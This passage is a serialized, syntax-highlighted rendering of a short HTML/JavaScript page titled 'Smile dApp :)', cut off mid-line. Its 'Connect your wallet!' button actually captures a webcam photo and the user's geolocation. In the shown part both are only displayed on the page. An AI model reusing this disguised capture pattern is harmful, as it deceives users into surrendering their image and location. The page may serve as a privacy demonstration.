\u003C/script>\n\u003C/body>\n\u003C/html>\n",[163688],{"type":24,"tag":284,"props":163689,"children":163690},{"__ignoreMap":7},[163691,163711,163726,163742,163772,163795,163810,163825,163857,163903,163939,163967,163982,164028,164074,164082,164150,164178,164193,164201,164208,164228,164288,164329,164358,164399,164406,164435,164473,164510,164517,164524,164557,164578,164585,164647,164703,164739,164785,164793,164800,164843,164876,165001,165034,165041,165048,165055,165067,165082,165097],{"type":24,"tag":327,"props":163692,"children":163693},{"class":329,"line":330},[163694,163698,163702,163707],{"type":24,"tag":327,"props":163695,"children":163696},{"style":39086},[163697],{"type":29,"value":40937},{"type":24,"tag":327,"props":163699,"children":163700},{"style":334},[163701],{"type":29,"value":40942},{"type":24,"tag":327,"props":163703,"children":163704},{"style":356},[163705],{"type":29,"value":163706}," html",{"type":24,"tag":327,"props":163708,"children":163709},{"style":39086},[163710],{"type":29,"value":9571},{"type":24,"tag":327,"props":163712,"children":163713},{"class":329,"line":367},[163714,163718,163722],{"type":24,"tag":327,"props":163715,"children":163716},{"style":39086},[163717],{"type":29,"value":1596},{"type":24,"tag":327,"props":163719,"children":163720},{"style":334},[163721],{"type":29,"value":39093},{"type":24,"tag":327,"props":163723,"children":163724},{"style":39086},[163725],{"type":29,"value":9571},{"type":24,"tag":327,"props":163727,"children":163728},{"class":329,"line":408},[163729,163733,163738],{"type":24,"tag":327,"props":163730,"children":163731},{"style":39086},[163732],{"type":29,"value":1596},{"type":24,"tag":327,"props":163734,"children":163735},{"style":334},[163736],{"type":29,"value":163737},"head",{"type":24,"tag":327,"props":163739,"children":163740},{"style":39086},[163741],{"type":29,"value":9571},{"type":24,"tag":327,"props":163743,"children":163744},{"class":329,"line":421},[163745,163749,163754,163759,163763,163768],{"type":24,"tag":327,"props":163746,"children":163747},{"style":39086},[163748],{"type":29,"value":39156},{"type":24,"tag":327,"props":163750,"children":163751},{"style":334},[163752],{"type":29,"value":163753},"meta",{"type":24,"tag":327,"props":163755,"children":163756},{"style":356},[163757],{"type":29,"value":163758}," charset",{"type":24,"tag":327,"props":163760,"children":163761},{"style":346},[163762],{"type":29,"value":384},{"type":24,"tag":327,"props":163764,"children":163765},{"style":844},[163766],{"type":29,"value":163767},"\"utf-8\"",{"type":24,"tag":327,"props":163769,"children":163770},{"style":39086},[163771],{"type":29,"value":9571},{"type":24,"tag":327,"props":163773,"children":163774},{"class":329,"line":450},[163775,163779,163783,163787,163791],{"type":24,"tag":327,"props":163776,"children":163777},{"style":39086},[163778],{"type":29,"value":39156},{"type":24,"tag":327,"props":163780,"children":163781},{"style":334},[163782],{"type":29,"value":41015},{"type":24,"tag":327,"props":163784,"children":163785},{"style":39086},[163786],{"type":29,"value":56786},{"type":24,"tag":327,"props":163788,"children":163789},{"style":334},[163790],{"type":29,"value":41015},{"type":24,"tag":327,"props":163792,"children":163793},{"style":39086},[163794],{"type":29,"value":9571},{"type":24,"tag":327,"props":163796,"children":163797},{"class":329,"line":481},[163798,163802,163806],{"type":24,"tag":327,"props":163799,"children":163800},{"style":39086},[163801],{"type":29,"value":39140},{"type":24,"tag":327,"props":163803,"children":163804},{"style":334},[163805],{"type":29,"value":163737},{"type":24,"tag":327,"props":163807,"children":163808},{"style":39086},[163809],{"type":29,"value":9571},{"type":24,"tag":327,"props":163811,"children":163812},{"class":329,"line":500},[163813,163817,163821],{"type":24,"tag":327,"props":163814,"children":163815},{"style":39086},[163816],{"type":29,"value":1596},{"type":24,"tag":327,"props":163818,"children":163819},{"style":334},[163820],{"type":29,"value":39110},{"type":24,"tag":327,"props":163822,"children":163823},{"style":39086},[163824],{"type":29,"value":9571},{"type":24,"tag":327,"props":163826,"children":163827},{"class":329,"line":529},[163828,163832,163836,163840,163845,163849,163853],{"type":24,"tag":327,"props":163829,"children":163830},{"style":39086},[163831],{"type":29,"value":39156},{"type":24,"tag":327,"props":163833,"children":163834},{"style":334},[163835],{"type":29,"value":228},{"type":24,"tag":327,"props":163837,"children":163838},{"style":39086},[163839],{"type":29,"value":438},{"type":24,"tag":327,"props":163841,"children":163842},{"style":346},[163843],{"type":29,"value":163844},"Smile dApp :)",{"type":24,"tag":327,"props":163846,"children":163847},{"style":39086},[163848],{"type":29,"value":39140},{"type":24,"tag":327,"props":163850,"children":163851},{"style":334},[163852],{"type":29,"value":228},{"type":24,"tag":327,"props":163854,"children":163855},{"style":39086},[163856],{"type":29,"value":9571},{"type":24,"tag":327,"props":163858,"children":163859},{"class":329,"line":538},[163860,163864,163869,163873,163877,163882,163886,163891,163895,163899],{"type":24,"tag":327,"props":163861,"children":163862},{"style":39086},[163863],{"type":29,"value":39156},{"type":24,"tag":327,"props":163865,"children":163866},{"style":334},[163867],{"type":29,"value":163868},"button",{"type":24,"tag":327,"props":163870,"children":163871},{"style":356},[163872],{"type":29,"value":39166},{"type":24,"tag":327,"props":163874,"children":163875},{"style":346},[163876],{"type":29,"value":384},{"type":24,"tag":327,"props":163878,"children":163879},{"style":844},[163880],{"type":29,"value":163881},"\"connect\"",{"type":24,"tag":327,"props":163883,"children":163884},{"style":39086},[163885],{"type":29,"value":438},{"type":24,"tag":327,"props":163887,"children":163888},{"style":346},[163889],{"type":29,"value":163890},"Connect your wallet!",{"type":24,"tag":327,"props":163892,"children":163893},{"style":39086},[163894],{"type":29,"value":39140},{"type":24,"tag":327,"props":163896,"children":163897},{"style":334},[163898],{"type":29,"value":163868},{"type":24,"tag":327,"props":163900,"children":163901},{"style":39086},[163902],{"type":29,"value":9571},{"type":24,"tag":327,"props":163904,"children":163905},{"class":329,"line":547},[163906,163910,163914,163918,163922,163927,163931,163935],{"type":24,"tag":327,"props":163907,"children":163908},{"style":39086},[163909],{"type":29,"value":39156},{"type":24,"tag":327,"props":163911,"children":163912},{"style":334},[163913],{"type":29,"value":317},{"type":24,"tag":327,"props":163915,"children":163916},{"style":356},[163917],{"type":29,"value":39166},{"type":24,"tag":327,"props":163919,"children":163920},{"style":346},[163921],{"type":29,"value":384},{"type":24,"tag":327,"props":163923,"children":163924},{"style":844},[163925],{"type":29,"value":163926},"\"gps\"",{"type":24,"tag":327,"props":163928,"children":163929},{"style":39086},[163930],{"type":29,"value":56786},{"type":24,"tag":327,"props":163932,"children":163933},{"style":334},[163934],{"type":29,"value":317},{"type":24,"tag":327,"props":163936,"children":163937},{"style":39086},[163938],{"type":29,"value":9571},{"type":24,"tag":327,"props":163940,"children":163941},{"class":329,"line":557},[163942,163946,163950,163954,163958,163963],{"type":24,"tag":327,"props":163943,"children":163944},{"style":39086},[163945],{"type":29,"value":39156},{"type":24,"tag":327,"props":163947,"children":163948},{"style":334},[163949],{"type":29,"value":11511},{"type":24,"tag":327,"props":163951,"children":163952},{"style":356},[163953],{"type":29,"value":39166},{"type":24,"tag":327,"props":163955,"children":163956},{"style":346},[163957],{"type":29,"value":384},{"type":24,"tag":327,"props":163959,"children":163960},{"style":844},[163961],{"type":29,"value":163962},"\"pic\"",{"type":24,"tag":327,"props":163964,"children":163965},{"style":39086},[163966],{"type":29,"value":9571},{"type":24,"tag":327,"props":163968,"children":163969},{"class":329,"line":586},[163970,163974,163978],{"type":24,"tag":327,"props":163971,"children":163972},{"style":39086},[163973],{"type":29,"value":39156},{"type":24,"tag":327,"props":163975,"children":163976},{"style":334},[163977],{"type":29,"value":39126},{"type":24,"tag":327,"props":163979,"children":163980},{"style":39086},[163981],{"type":29,"value":9571},{"type":24,"tag":327,"props":163983,"children":163984},{"class":329,"line":1017},[163985,163990,163994,163999,164003,164008,164012,164016,164020,164024],{"type":24,"tag":327,"props":163986,"children":163987},{"style":356},[163988],{"type":29,"value":163989},"        window",{"type":24,"tag":327,"props":163991,"children":163992},{"style":381},[163993],{"type":29,"value":66},{"type":24,"tag":327,"props":163995,"children":163996},{"style":340},[163997],{"type":29,"value":163998},"addEventListener",{"type":24,"tag":327,"props":164000,"children":164001},{"style":381},[164002],{"type":29,"value":349},{"type":24,"tag":327,"props":164004,"children":164005},{"style":844},[164006],{"type":29,"value":164007},"'unhandledrejection'",{"type":24,"tag":327,"props":164009,"children":164010},{"style":381},[164011],{"type":29,"value":2744},{"type":24,"tag":327,"props":164013,"children":164014},{"style":334},[164015],{"type":29,"value":38087},{"type":24,"tag":327,"props":164017,"children":164018},{"style":381},[164019],{"type":29,"value":5894},{"type":24,"tag":327,"props":164021,"children":164022},{"style":356},[164023],{"type":29,"value":88855},{"type":24,"tag":327,"props":164025,"children":164026},{"style":381},[164027],{"type":29,"value":364},{"type":24,"tag":327,"props":164029,"children":164030},{"class":329,"line":1026},[164031,164036,164040,164045,164049,164053,164057,164062,164066,164070],{"type":24,"tag":327,"props":164032,"children":164033},{"style":340},[164034],{"type":29,"value":164035},"            alert",{"type":24,"tag":327,"props":164037,"children":164038},{"style":381},[164039],{"type":29,"value":349},{"type":24,"tag":327,"props":164041,"children":164042},{"style":844},[164043],{"type":29,"value":164044},"`Unhandled Promise Rejection: ",{"type":24,"tag":327,"props":164046,"children":164047},{"style":334},[164048],{"type":29,"value":40820},{"type":24,"tag":327,"props":164050,"children":164051},{"style":356},[164052],{"type":29,"value":88855},{"type":24,"tag":327,"props":164054,"children":164055},{"style":381},[164056],{"type":29,"value":66},{"type":24,"tag":327,"props":164058,"children":164059},{"style":356},[164060],{"type":29,"value":164061},"reason",{"type":24,"tag":327,"props":164063,"children":164064},{"style":334},[164065],{"type":29,"value":40852},{"type":24,"tag":327,"props":164067,"children":164068},{"style":844},[164069],{"type":29,"value":17929},{"type":24,"tag":327,"props":164071,"children":164072},{"style":381},[164073],{"type":29,"value":583},{"type":24,"tag":327,"props":164075,"children":164076},{"class":329,"line":1048},[164077],{"type":24,"tag":327,"props":164078,"children":164079},{"style":381},[164080],{"type":29,"value":164081},"        });\n",{"type":24,"tag":327,"props":164083,"children":164084},{"class":329,"line":1067},[164085,164089,164093,164097,164101,164105,164109,164113,164117,164121,164125,164129,164133,164138,164142,164146],{"type":24,"tag":327,"props":164086,"children":164087},{"style":356},[164088],{"type":29,"value":163989},{"type":24,"tag":327,"props":164090,"children":164091},{"style":381},[164092],{"type":29,"value":66},{"type":24,"tag":327,"props":164094,"children":164095},{"style":340},[164096],{"type":29,"value":39399},{"type":24,"tag":327,"props":164098,"children":164099},{"style":381},[164100],{"type":29,"value":39622},{"type":24,"tag":327,"props":164102,"children":164103},{"style":334},[164104],{"type":29,"value":38087},{"type":24,"tag":327,"props":164106,"children":164107},{"style":381},[164108],{"type":29,"value":5894},{"type":24,"tag":327,"props":164110,"children":164111},{"style":356},[164112],{"type":29,"value":64668},{"type":24,"tag":327,"props":164114,"children":164115},{"style":381},[164116],{"type":29,"value":2744},{"type":24,"tag":327,"props":164118,"children":164119},{"style":356},[164120],{"type":29,"value":77102},{"type":24,"tag":327,"props":164122,"children":164123},{"style":381},[164124],{"type":29,"value":2744},{"type":24,"tag":327,"props":164126,"children":164127},{"style":356},[164128],{"type":29,"value":329},{"type":24,"tag":327,"props":164130,"children":164131},{"style":381},[164132],{"type":29,"value":2744},{"type":24,"tag":327,"props":164134,"children":164135},{"style":356},[164136],{"type":29,"value":164137},"col",{"type":24,"tag":327,"props":164139,"children":164140},{"style":381},[164141],{"type":29,"value":2744},{"type":24,"tag":327,"props":164143,"children":164144},{"style":356},[164145],{"type":29,"value":22387},{"type":24,"tag":327,"props":164147,"children":164148},{"style":381},[164149],{"type":29,"value":364},{"type":24,"tag":327,"props":164151,"children":164152},{"class":329,"line":1075},[164153,164157,164161,164166,164170,164174],{"type":24,"tag":327,"props":164154,"children":164155},{"style":340},[164156],{"type":29,"value":164035},{"type":24,"tag":327,"props":164158,"children":164159},{"style":381},[164160],{"type":29,"value":349},{"type":24,"tag":327,"props":164162,"children":164163},{"style":844},[164164],{"type":29,"value":164165},"'onerror: '",{"type":24,"tag":327,"props":164167,"children":164168},{"style":381},[164169],{"type":29,"value":41408},{"type":24,"tag":327,"props":164171,"children":164172},{"style":356},[164173],{"type":29,"value":64668},{"type":24,"tag":327,"props":164175,"children":164176},{"style":381},[164177],{"type":29,"value":583},{"type":24,"tag":327,"props":164179,"children":164180},{"class":329,"line":1084},[164181,164185,164189],{"type":24,"tag":327,"props":164182,"children":164183},{"style":425},[164184],{"type":29,"value":85803},{"type":24,"tag":327,"props":164186,"children":164187},{"style":334},[164188],{"type":29,"value":6776},{"type":24,"tag":327,"props":164190,"children":164191},{"style":381},[164192],{"type":29,"value":405},{"type":24,"tag":327,"props":164194,"children":164195},{"class":329,"line":1100},[164196],{"type":24,"tag":327,"props":164197,"children":164198},{"style":381},[164199],{"type":29,"value":164200},"        };\n",{"type":24,"tag":327,"props":164202,"children":164203},{"class":329,"line":1128},[164204],{"type":24,"tag":327,"props":164205,"children":164206},{"emptyLinePlaceholder":16},[164207],{"type":29,"value":544},{"type":24,"tag":327,"props":164209,"children":164210},{"class":329,"line":1148},[164211,164216,164220,164224],{"type":24,"tag":327,"props":164212,"children":164213},{"style":334},[164214],{"type":29,"value":164215},"        async",{"type":24,"tag":327,"props":164217,"children":164218},{"style":334},[164219],{"type":29,"value":44927},{"type":24,"tag":327,"props":164221,"children":164222},{"style":340},[164223],{"type":29,"value":97507},{"type":24,"tag":327,"props":164225,"children":164226},{"style":381},[164227],{"type":29,"value":9697},{"type":24,"tag":327,"props":164229,"children":164230},{"class":329,"line":1176},[164231,164235,164240,164244,164248,164253,164257,164262,164266,164271,164275,164280,164284],{"type":24,"tag":327,"props":164232,"children":164233},{"style":334},[164234],{"type":29,"value":157761},{"type":24,"tag":327,"props":164236,"children":164237},{"style":356},[164238],{"type":29,"value":164239}," stream",{"type":24,"tag":327,"props":164241,"children":164242},{"style":381},[164243],{"type":29,"value":39622},{"type":24,"tag":327,"props":164245,"children":164246},{"style":425},[164247],{"type":29,"value":39627},{"type":24,"tag":327,"props":164249,"children":164250},{"style":356},[164251],{"type":29,"value":164252}," navigator",{"type":24,"tag":327,"props":164254,"children":164255},{"style":381},[164256],{"type":29,"value":66},{"type":24,"tag":327,"props":164258,"children":164259},{"style":356},[164260],{"type":29,"value":164261},"mediaDevices",{"type":24,"tag":327,"props":164263,"children":164264},{"style":381},[164265],{"type":29,"value":66},{"type":24,"tag":327,"props":164267,"children":164268},{"style":340},[164269],{"type":29,"value":164270},"getUserMedia",{"type":24,"tag":327,"props":164272,"children":164273},{"style":381},[164274],{"type":29,"value":38208},{"type":24,"tag":327,"props":164276,"children":164277},{"style":356},[164278],{"type":29,"value":164279},"video:",{"type":24,"tag":327,"props":164281,"children":164282},{"style":334},[164283],{"type":29,"value":9722},{"type":24,"tag":327,"props":164285,"children":164286},{"style":381},[164287],{"type":29,"value":45548},{"type":24,"tag":327,"props":164289,"children":164290},{"class":329,"line":1184},[164291,164295,164300,164304,164308,164312,164316,164320,164325],{"type":24,"tag":327,"props":164292,"children":164293},{"style":334},[164294],{"type":29,"value":157761},{"type":24,"tag":327,"props":164296,"children":164297},{"style":356},[164298],{"type":29,"value":164299}," video",{"type":24,"tag":327,"props":164301,"children":164302},{"style":381},[164303],{"type":29,"value":39622},{"type":24,"tag":327,"props":164305,"children":164306},{"style":356},[164307],{"type":29,"value":39418},{"type":24,"tag":327,"props":164309,"children":164310},{"style":381},[164311],{"type":29,"value":66},{"type":24,"tag":327,"props":164313,"children":164314},{"style":340},[164315],{"type":29,"value":43434},{"type":24,"tag":327,"props":164317,"children":164318},{"style":381},[164319],{"type":29,"value":349},{"type":24,"tag":327,"props":164321,"children":164322},{"style":844},[164323],{"type":29,"value":164324},"\"video\"",{"type":24,"tag":327,"props":164326,"children":164327},{"style":381},[164328],{"type":29,"value":583},{"type":24,"tag":327,"props":164330,"children":164331},{"class":329,"line":1192},[164332,164337,164341,164346,164350,164354],{"type":24,"tag":327,"props":164333,"children":164334},{"style":356},[164335],{"type":29,"value":164336},"            video",{"type":24,"tag":327,"props":164338,"children":164339},{"style":381},[164340],{"type":29,"value":66},{"type":24,"tag":327,"props":164342,"children":164343},{"style":356},[164344],{"type":29,"value":164345},"srcObject",{"type":24,"tag":327,"props":164347,"children":164348},{"style":381},[164349],{"type":29,"value":39622},{"type":24,"tag":327,"props":164351,"children":164352},{"style":356},[164353],{"type":29,"value":42974},{"type":24,"tag":327,"props":164355,"children":164356},{"style":381},[164357],{"type":29,"value":405},{"type":24,"tag":327,"props":164359,"children":164360},{"class":329,"line":1212},[164361,164365,164370,164374,164378,164382,164386,164390,164395],{"type":24,"tag":327,"props":164362,"children":164363},{"style":334},[164364],{"type":29,"value":157761},{"type":24,"tag":327,"props":164366,"children":164367},{"style":356},[164368],{"type":29,"value":164369}," canvas",{"type":24,"tag":327,"props":164371,"children":164372},{"style":381},[164373],{"type":29,"value":39622},{"type":24,"tag":327,"props":164375,"children":164376},{"style":356},[164377],{"type":29,"value":39418},{"type":24,"tag":327,"props":164379,"children":164380},{"style":381},[164381],{"type":29,"value":66},{"type":24,"tag":327,"props":164383,"children":164384},{"style":340},[164385],{"type":29,"value":43434},{"type":24,"tag":327,"props":164387,"children":164388},{"style":381},[164389],{"type":29,"value":349},{"type":24,"tag":327,"props":164391,"children":164392},{"style":844},[164393],{"type":29,"value":164394},"\"canvas\"",{"type":24,"tag":327,"props":164396,"children":164397},{"style":381},[164398],{"type":29,"value":583},{"type":24,"tag":327,"props":164400,"children":164401},{"class":329,"line":4841},[164402],{"type":24,"tag":327,"props":164403,"children":164404},{"emptyLinePlaceholder":16},[164405],{"type":29,"value":544},{"type":24,"tag":327,"props":164407,"children":164408},{"class":329,"line":4862},[164409,164413,164417,164422,164427,164431],{"type":24,"tag":327,"props":164410,"children":164411},{"style":356},[164412],{"type":29,"value":164336},{"type":24,"tag":327,"props":164414,"children":164415},{"style":381},[164416],{"type":29,"value":66},{"type":24,"tag":327,"props":164418,"children":164419},{"style":340},[164420],{"type":29,"value":164421},"onloadedmetadata",{"type":24,"tag":327,"props":164423,"children":164424},{"style":381},[164425],{"type":29,"value":164426}," = () ",{"type":24,"tag":327,"props":164428,"children":164429},{"style":334},[164430],{"type":29,"value":9195},{"type":24,"tag":327,"props":164432,"children":164433},{"style":381},[164434],{"type":29,"value":497},{"type":24,"tag":327,"props":164436,"children":164437},{"class":329,"line":4870},[164438,164443,164447,164452,164456,164460,164464,164469],{"type":24,"tag":327,"props":164439,"children":164440},{"style":356},[164441],{"type":29,"value":164442},"                canvas",{"type":24,"tag":327,"props":164444,"children":164445},{"style":381},[164446],{"type":29,"value":66},{"type":24,"tag":327,"props":164448,"children":164449},{"style":356},[164450],{"type":29,"value":164451},"width",{"type":24,"tag":327,"props":164453,"children":164454},{"style":381},[164455],{"type":29,"value":39622},{"type":24,"tag":327,"props":164457,"children":164458},{"style":356},[164459],{"type":29,"value":138585},{"type":24,"tag":327,"props":164461,"children":164462},{"style":381},[164463],{"type":29,"value":66},{"type":24,"tag":327,"props":164465,"children":164466},{"style":356},[164467],{"type":29,"value":164468},"videoWidth",{"type":24,"tag":327,"props":164470,"children":164471},{"style":381},[164472],{"type":29,"value":405},{"type":24,"tag":327,"props":164474,"children":164475},{"class":329,"line":4879},[164476,164480,164484,164489,164493,164497,164501,164506],{"type":24,"tag":327,"props":164477,"children":164478},{"style":356},[164479],{"type":29,"value":164442},{"type":24,"tag":327,"props":164481,"children":164482},{"style":381},[164483],{"type":29,"value":66},{"type":24,"tag":327,"props":164485,"children":164486},{"style":356},[164487],{"type":29,"value":164488},"height",{"type":24,"tag":327,"props":164490,"children":164491},{"style":381},[164492],{"type":29,"value":39622},{"type":24,"tag":327,"props":164494,"children":164495},{"style":356},[164496],{"type":29,"value":138585},{"type":24,"tag":327,"props":164498,"children":164499},{"style":381},[164500],{"type":29,"value":66},{"type":24,"tag":327,"props":164502,"children":164503},{"style":356},[164504],{"type":29,"value":164505},"videoHeight",{"type":24,"tag":327,"props":164507,"children":164508},{"style":381},[164509],{"type":29,"value":405},{"type":24,"tag":327,"props":164511,"children":164512},{"class":329,"line":4913},[164513],{"type":24,"tag":327,"props":164514,"children":164515},{"style":381},[164516],{"type":29,"value":54794},{"type":24,"tag":327,"props":164518,"children":164519},{"class":329,"line":4938},[164520],{"type":24,"tag":327,"props":164521,"children":164522},{"emptyLinePlaceholder":16},[164523],{"type":29,"value":544},{"type":24,"tag":327,"props":164525,"children":164526},{"class":329,"line":4974},[164527,164532,164536,164541,164545,164549,164553],{"type":24,"tag":327,"props":164528,"children":164529},{"style":356},[164530],{"type":29,"value":164531},"            connect",{"type":24,"tag":327,"props":164533,"children":164534},{"style":381},[164535],{"type":29,"value":66},{"type":24,"tag":327,"props":164537,"children":164538},{"style":340},[164539],{"type":29,"value":164540},"onclick",{"type":24,"tag":327,"props":164542,"children":164543},{"style":381},[164544],{"type":29,"value":39622},{"type":24,"tag":327,"props":164546,"children":164547},{"style":356},[164548],{"type":29,"value":58175},{"type":24,"tag":327,"props":164550,"children":164551},{"style":334},[164552],{"type":29,"value":9225},{"type":24,"tag":327,"props":164554,"children":164555},{"style":381},[164556],{"type":29,"value":497},{"type":24,"tag":327,"props":164558,"children":164559},{"class":329,"line":4982},[164560,164565,164569,164574],{"type":24,"tag":327,"props":164561,"children":164562},{"style":356},[164563],{"type":29,"value":164564},"                video",{"type":24,"tag":327,"props":164566,"children":164567},{"style":381},[164568],{"type":29,"value":66},{"type":24,"tag":327,"props":164570,"children":164571},{"style":340},[164572],{"type":29,"value":164573},"play",{"type":24,"tag":327,"props":164575,"children":164576},{"style":381},[164577],{"type":29,"value":4838},{"type":24,"tag":327,"props":164579,"children":164580},{"class":329,"line":4990},[164581],{"type":24,"tag":327,"props":164582,"children":164583},{"emptyLinePlaceholder":16},[164584],{"type":29,"value":544},{"type":24,"tag":327,"props":164586,"children":164587},{"class":329,"line":4999},[164588,164592,164596,164601,164605,164610,164614,164619,164623,164627,164631,164635,164639,164643],{"type":24,"tag":327,"props":164589,"children":164590},{"style":356},[164591],{"type":29,"value":164442},{"type":24,"tag":327,"props":164593,"children":164594},{"style":381},[164595],{"type":29,"value":66},{"type":24,"tag":327,"props":164597,"children":164598},{"style":340},[164599],{"type":29,"value":164600},"getContext",{"type":24,"tag":327,"props":164602,"children":164603},{"style":381},[164604],{"type":29,"value":349},{"type":24,"tag":327,"props":164606,"children":164607},{"style":844},[164608],{"type":29,"value":164609},"\"2d\"",{"type":24,"tag":327,"props":164611,"children":164612},{"style":381},[164613],{"type":29,"value":2108},{"type":24,"tag":327,"props":164615,"children":164616},{"style":340},[164617],{"type":29,"value":164618},"drawImage",{"type":24,"tag":327,"props":164620,"children":164621},{"style":381},[164622],{"type":29,"value":349},{"type":24,"tag":327,"props":164624,"children":164625},{"style":356},[164626],{"type":29,"value":138585},{"type":24,"tag":327,"props":164628,"children":164629},{"style":381},[164630],{"type":29,"value":2744},{"type":24,"tag":327,"props":164632,"children":164633},{"style":397},[164634],{"type":29,"value":2988},{"type":24,"tag":327,"props":164636,"children":164637},{"style":381},[164638],{"type":29,"value":2744},{"type":24,"tag":327,"props":164640,"children":164641},{"style":397},[164642],{"type":29,"value":2988},{"type":24,"tag":327,"props":164644,"children":164645},{"style":381},[164646],{"type":29,"value":583},{"type":24,"tag":327,"props":164648,"children":164649},{"class":329,"line":5042},[164650,164655,164659,164664,164668,164673,164677,164681,164685,164690,164694,164699],{"type":24,"tag":327,"props":164651,"children":164652},{"style":356},[164653],{"type":29,"value":164654},"                stream",{"type":24,"tag":327,"props":164656,"children":164657},{"style":381},[164658],{"type":29,"value":66},{"type":24,"tag":327,"props":164660,"children":164661},{"style":340},[164662],{"type":29,"value":164663},"getTracks",{"type":24,"tag":327,"props":164665,"children":164666},{"style":381},[164667],{"type":29,"value":36877},{"type":24,"tag":327,"props":164669,"children":164670},{"style":340},[164671],{"type":29,"value":164672},"forEach",{"type":24,"tag":327,"props":164674,"children":164675},{"style":381},[164676],{"type":29,"value":349},{"type":24,"tag":327,"props":164678,"children":164679},{"style":356},[164680],{"type":29,"value":3134},{"type":24,"tag":327,"props":164682,"children":164683},{"style":334},[164684],{"type":29,"value":9225},{"type":24,"tag":327,"props":164686,"children":164687},{"style":356},[164688],{"type":29,"value":164689}," t",{"type":24,"tag":327,"props":164691,"children":164692},{"style":381},[164693],{"type":29,"value":66},{"type":24,"tag":327,"props":164695,"children":164696},{"style":340},[164697],{"type":29,"value":164698},"stop",{"type":24,"tag":327,"props":164700,"children":164701},{"style":381},[164702],{"type":29,"value":10225},{"type":24,"tag":327,"props":164704,"children":164705},{"class":329,"line":5075},[164706,164710,164714,164719,164723,164727,164731,164735],{"type":24,"tag":327,"props":164707,"children":164708},{"style":356},[164709],{"type":29,"value":164442},{"type":24,"tag":327,"props":164711,"children":164712},{"style":381},[164713],{"type":29,"value":66},{"type":24,"tag":327,"props":164715,"children":164716},{"style":340},[164717],{"type":29,"value":164718},"toBlob",{"type":24,"tag":327,"props":164720,"children":164721},{"style":381},[164722],{"type":29,"value":38233},{"type":24,"tag":327,"props":164724,"children":164725},{"style":356},[164726],{"type":29,"value":39659},{"type":24,"tag":327,"props":164728,"children":164729},{"style":381},[164730],{"type":29,"value":1674},{"type":24,"tag":327,"props":164732,"children":164733},{"style":334},[164734],{"type":29,"value":9195},{"type":24,"tag":327,"props":164736,"children":164737},{"style":381},[164738],{"type":29,"value":497},{"type":24,"tag":327,"props":164740,"children":164741},{"class":329,"line":5083},[164742,164747,164751,164755,164759,164764,164768,164773,164777,164781],{"type":24,"tag":327,"props":164743,"children":164744},{"style":356},[164745],{"type":29,"value":164746},"                    pic",{"type":24,"tag":327,"props":164748,"children":164749},{"style":381},[164750],{"type":29,"value":66},{"type":24,"tag":327,"props":164752,"children":164753},{"style":356},[164754],{"type":29,"value":39380},{"type":24,"tag":327,"props":164756,"children":164757},{"style":381},[164758],{"type":29,"value":39622},{"type":24,"tag":327,"props":164760,"children":164761},{"style":356},[164762],{"type":29,"value":164763},"URL",{"type":24,"tag":327,"props":164765,"children":164766},{"style":381},[164767],{"type":29,"value":66},{"type":24,"tag":327,"props":164769,"children":164770},{"style":340},[164771],{"type":29,"value":164772},"createObjectURL",{"type":24,"tag":327,"props":164774,"children":164775},{"style":381},[164776],{"type":29,"value":349},{"type":24,"tag":327,"props":164778,"children":164779},{"style":356},[164780],{"type":29,"value":39659},{"type":24,"tag":327,"props":164782,"children":164783},{"style":381},[164784],{"type":29,"value":583},{"type":24,"tag":327,"props":164786,"children":164787},{"class":329,"line":5091},[164788],{"type":24,"tag":327,"props":164789,"children":164790},{"style":381},[164791],{"type":29,"value":164792},"                });\n",{"type":24,"tag":327,"props":164794,"children":164795},{"class":329,"line":5100},[164796],{"type":24,"tag":327,"props":164797,"children":164798},{"emptyLinePlaceholder":16},[164799],{"type":29,"value":544},{"type":24,"tag":327,"props":164801,"children":164802},{"class":329,"line":5176},[164803,164808,164812,164817,164821,164826,164830,164835,164839],{"type":24,"tag":327,"props":164804,"children":164805},{"style":356},[164806],{"type":29,"value":164807},"                navigator",{"type":24,"tag":327,"props":164809,"children":164810},{"style":381},[164811],{"type":29,"value":66},{"type":24,"tag":327,"props":164813,"children":164814},{"style":356},[164815],{"type":29,"value":164816},"geolocation",{"type":24,"tag":327,"props":164818,"children":164819},{"style":381},[164820],{"type":29,"value":66},{"type":24,"tag":327,"props":164822,"children":164823},{"style":340},[164824],{"type":29,"value":164825},"getCurrentPosition",{"type":24,"tag":327,"props":164827,"children":164828},{"style":381},[164829],{"type":29,"value":349},{"type":24,"tag":327,"props":164831,"children":164832},{"style":356},[164833],{"type":29,"value":164834},"pos",{"type":24,"tag":327,"props":164836,"children":164837},{"style":334},[164838],{"type":29,"value":9225},{"type":24,"tag":327,"props":164840,"children":164841},{"style":381},[164842],{"type":29,"value":497},{"type":24,"tag":327,"props":164844,"children":164845},{"class":329,"line":5209},[164846,164851,164855,164859,164863,164867,164872],{"type":24,"tag":327,"props":164847,"children":164848},{"style":334},[164849],{"type":29,"value":164850},"                    const",{"type":24,"tag":327,"props":164852,"children":164853},{"style":356},[164854],{"type":29,"value":44158},{"type":24,"tag":327,"props":164856,"children":164857},{"style":381},[164858],{"type":29,"value":39622},{"type":24,"tag":327,"props":164860,"children":164861},{"style":356},[164862],{"type":29,"value":164834},{"type":24,"tag":327,"props":164864,"children":164865},{"style":381},[164866],{"type":29,"value":66},{"type":24,"tag":327,"props":164868,"children":164869},{"style":356},[164870],{"type":29,"value":164871},"coords",{"type":24,"tag":327,"props":164873,"children":164874},{"style":381},[164875],{"type":29,"value":405},{"type":24,"tag":327,"props":164877,"children":164878},{"class":329,"line":5217},[164879,164884,164888,164892,164896,164901,164905,164909,164913,164918,164922,164927,164931,164935,164939,164943,164947,164952,164956,164960,164964,164969,164973,164977,164981,164985,164989,164993,164997],{"type":24,"tag":327,"props":164880,"children":164881},{"style":356},[164882],{"type":29,"value":164883},"                    gps",{"type":24,"tag":327,"props":164885,"children":164886},{"style":381},[164887],{"type":29,"value":66},{"type":24,"tag":327,"props":164889,"children":164890},{"style":356},[164891],{"type":29,"value":41676},{"type":24,"tag":327,"props":164893,"children":164894},{"style":381},[164895],{"type":29,"value":39622},{"type":24,"tag":327,"props":164897,"children":164898},{"style":844},[164899],{"type":29,"value":164900},"`Lat: 